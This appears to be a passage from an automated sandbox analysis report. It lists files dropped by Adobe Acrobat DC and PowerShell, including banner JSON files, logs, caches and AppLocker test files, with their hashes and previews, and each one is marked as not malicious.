Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2773038519617925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJf+dPeUkwRe9:YvXKXz0EqnYUTbdiG28Ukee9
MD5:	11F81A6E021137762F288FFE150AB2B7
SHA1:	B206C6FD92E6E45A358F5614634BBC87B95F66A0
SHA-256:	52603C650620A61DF82405C0418E3E1011C8117B857C2C7F76C2530B8439EBF7
SHA-512:	1895B6686AFB8BF82FA2574E81DB023663A55AD19BE303590F2085997AD5BFB689ED6A3E81F4DBDAB727B099565C595C08856C13447EE04AF56614B91A10C7FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275010974221812
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfbPtdPeUkwRe9:YvXKXz0EqnYUTbdiGDV8Ukee9
MD5:	2216A42C0360F1B130E7BA4756176727
SHA1:	90034462A7F387087DF557EA686BF198EFBD12F9
SHA-256:	57D5E9648EA8EEA291AD8FA6B17EA4572C218CBE88510981B1F9A896DE414792
SHA-512:	564EA965EB25CCC14B409E2633C70F50C719E39002E72BAB1DE4D550CB8E99FF969D22661031AFD506AFAE7FFD11C95B614CE444C30DCB4D7B44CB9E71774C13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278848600927034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJf21rPeUkwRe9:YvXKXz0EqnYUTbdiG+16Ukee9
MD5:	DFBEBD590E750C4FA457D9A7E4AEDC4E
SHA1:	333A45ED69B6E6BC6D8300AF8E351979EFAAC956
SHA-256:	813557FA5154D4A0D5E51A91734E425968B1816BA10ECD38F13E185D38511225
SHA-512:	7F00697F92DEA4BC739119C19541C830D87DB42EC003B8EE3AF78A8E25280ACD649CB0526A001AA9B4212538470E3097B37FD950B5D28888D9F3A09DA7F25146
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659335051890295
Encrypted:	false
SSDEEP:	24:Yv6XEYUXFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:YvJYw5BgkDMUJUAh8cvMv
MD5:	6717C25398E06432A753346C93DC3C11
SHA1:	796D55F5CF3AD11624FE875A54544BBE3DAB6D18
SHA-256:	95637215871FF4147CD4B50FA653ED69C8D45AC14A15F87DEABB74C0661C6F1A
SHA-512:	BC0AD5DEB8F1F0999D0E7E5B5AE9D7266D4AD529A8ED0BC969E7A0AE9FC761507DC85FB13500B5704FE9916E29167178641ADD3844906B0DE4DD7A6D40343566
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.254598779964937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfshHHrPeUkwRe9:YvXKXz0EqnYUTbdiGUUUkee9
MD5:	D8C720DDC23466EC756BCADCD86FD029
SHA1:	9508C429590FA34C16BC7F45443DA340B7DE74CB
SHA-256:	3F459559019663DFF3EAFD2548CAA297F28FC033990E2A5D54FE0DA0EB1DDA2B
SHA-512:	21D5C0725F67220455BD10160E5809148837387644BA6AB0B7DB0BE310471416C2BC5FB42E3ECF57B3907D0A7DC318FD0909E0E62927AB81018ADC40302FA26A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267183487477106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJTqgFCrPeUkwRe9:YvXKXz0EqnYUTbdiGTq16Ukee9
MD5:	6D74CFAF4B9EA78BCEF4474675EF8126
SHA1:	FFFEDF4411744627345FA8B2E889A609586CFA3A
SHA-256:	4BEA15EA69B61EEB283C1D065A4290E2A6E7132C5B75FB7E14229294F11FEC1F
SHA-512:	50CF059CB5029ADC0BE4E32E05E8A013E72EAE513A905D2957808EB4CF1897583091BCB08C851761B79A5B8BC334309A48C361EC117C0C63E84EF33AD6268AC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14373347058649
Encrypted:	false
SSDEEP:	24:Y+poaOayHqmkELwHLrKQRgjeWSj0SUWe02e912LSmCfanGBe8v7C56S579k/uKOG:YKm3LyyneHX7d1E6anbcIl99kd
MD5:	CFF10A0BF6FDA4D14EB9980B01A539EA
SHA1:	563CF3811C374B9EF0FE5F1A09F0E84C8D86DAAA
SHA-256:	185CDE9A53F9DC05E8891B33D3C24338355638802B4C68995C772D42F297FFA5
SHA-512:	FA2C3D03734AC5ACE9B71AC3D7E5CEF2A3E74820953CE5BB0243C0ABDCB5142902752D3A70032B98D83469C0D8668F19D6C60347026AD9E9802D90F8CF9E1E34
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"abd7fc37de3d52132b7f4c421152e1c8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574213000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"36dc43239f2b58b58d9413167b78e274","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574213000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f86fcdded4aa9988fa6bdf213adc54cf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574213000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f6a3c949de8bf94dc5ca8a7cfcfbb55a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574213000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6e2df0d6feeee5d20cb544e3bb221443","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574213000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"43c1da799dc6bc5d04a766c53224bc3a","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3199028984628227
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y87/+EXSqXN:TGufl2GL7msUKB0M0+Tb608YwGroN
MD5:	8FBC98AAD13046EF66A899FCA6052EAD
SHA1:	44508160273D015E63E4960725A7FF4BEB2014D1
SHA-256:	FC524EB7303014E39EE5610B775EE6D50C07C596DA8A630220B6A916D949DDE7
SHA-512:	D325A6B7276EF31AC5220FE6C1D1574395558723C15F7047D7BECD75D8787567B0029C93FA72B49B6FC2DE3CE392A3F29EC3F0D242F7E7153D37997B2B2901BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7817939616698062
Encrypted:	false
SSDEEP:	24:7+tWl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y87//EXSqXlyGKaiSqLhx/XYKQ2:7MUKB0M0+Tb608YwXrGK2qFl2GL7msV
MD5:	E5DCDE392115BB63E0666D1D1D2C6309
SHA1:	01C74C7CB03416D45C3E71521C3E1BDD07E2F885
SHA-256:	0C555285A6ED662D197ABE9988A27A48844BE2F4F05CDFD509A58EA3398C65A3
SHA-512:	124311F260B654642AF47F03E311D84409603D840B13D076A1AFBAC0818F52CBD0EFCB18F51DF218A6215A3DBAB4309E8A10C6699283F411B7ECA457A57BB625
Malicious:	false
Preview:	.... .c......H............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0NbD+6SwcSajaXkwXF1FdxLYYyu:6a6TZ44ADE0NbfSwcSa8dx8K
MD5:	A5EAA1F7247497DE961EF1D004EEBFCD
SHA1:	2A1335CE6802FB485DD1292058B0F1E15F149BBA
SHA-256:	3728B4B569C182416E92CAB02595EB61706FEA233554F602C6D550D1040D6041
SHA-512:	80F19D8950C5902691D7BD3194FBEB74BCC6BBCB265921FA6E0EAAB29A7CD55B5EC09B6801575BDDF9126E80B8670BD555F8C369EBE60FACFE602426DB6DF20A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa556f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClW3nH:Qw946cPbiOxDlbYnuRKd3
MD5:	25937069FAA5EAAF3060769217B284FE
SHA1:	A9FC7962A89849412FA1BCE2C6F3913BE782517F
SHA-256:	7C10821D1B7CAC59D1DE55E66923CB1FC6D349F4AF6735F5E1CD6794D0CAEA00
SHA-512:	F3B0B0B95A3FC8F2A562FF315696C0350DA401AB7385A812FCB03E551E7D9CC43FDA2EE8414A08FB6F81502BE51658138A91B46133ED16ACE35831F0566B7ABB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.4.3.:.3.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03yilrrv.yj0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bd1mxvoa.4h4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-43-26-141.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360786780417061
Encrypted:	false
SSDEEP:	384:+mCnCCzEh38MhXJ68KDmO5u0cfxXdB5HYXv7pBR+w8tkumc8+zeKWXWHe6gn/mmz:zdQ
MD5:	A854B2026A48CB444EB34532DA750EE4
SHA1:	D3F15B75ED09FFC53DB558733C571331435E4957
SHA-256:	635F4E876145F402DB984F03D30F154B3193A365842D2CF15A14679E4157DFA1
SHA-512:	76E97AC1E5B39778B2C47B604D914DA240A5E2E0C4AA61AFA11AADEE3533AD3F10FE3AB6BF535B977668B112CCD16F27E33BDEC47B67E84B0E66DA162BE705E7
Malicious:	false
Preview:	SessionID=cf796da0-d47b-485b-a503-8d294120b5a5.1736574206160 Timestamp=2025-01-11T00:43:26:160-0500 ThreadID=8384 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cf796da0-d47b-485b-a503-8d294120b5a5.1736574206160 Timestamp=2025-01-11T00:43:26:162-0500 ThreadID=8384 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cf796da0-d47b-485b-a503-8d294120b5a5.1736574206160 Timestamp=2025-01-11T00:43:26:162-0500 ThreadID=8384 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cf796da0-d47b-485b-a503-8d294120b5a5.1736574206160 Timestamp=2025-01-11T00:43:26:162-0500 ThreadID=8384 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cf796da0-d47b-485b-a503-8d294120b5a5.1736574206160 Timestamp=2025-01-11T00:43:26:162-0500 ThreadID=8384 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403434905032251
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmv:EGvIcNYdBK7
MD5:	92340958E6D5CAF3BC8AEB79B79ACC1D
SHA1:	3B03A263EE1C98D884143AB2F14770A462C35E0A
SHA-256:	9C89A49FD8899BD67B701C820317F2062C215214200FDA34EAE55FA643F68EEA
SHA-512:	91F7284959753991F71BEB828442F996E840DF2098A7C055F8A60FF9708380DC2B68AAD7350E10BB52247019844FDAE704E3933FC1644D95F7C6FE93E98E9833
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7be8d44c-f65c-4f5d-882f-4c8c863d7d21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b26ec6d1-245b-4c85-a95f-c0bce706ee1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
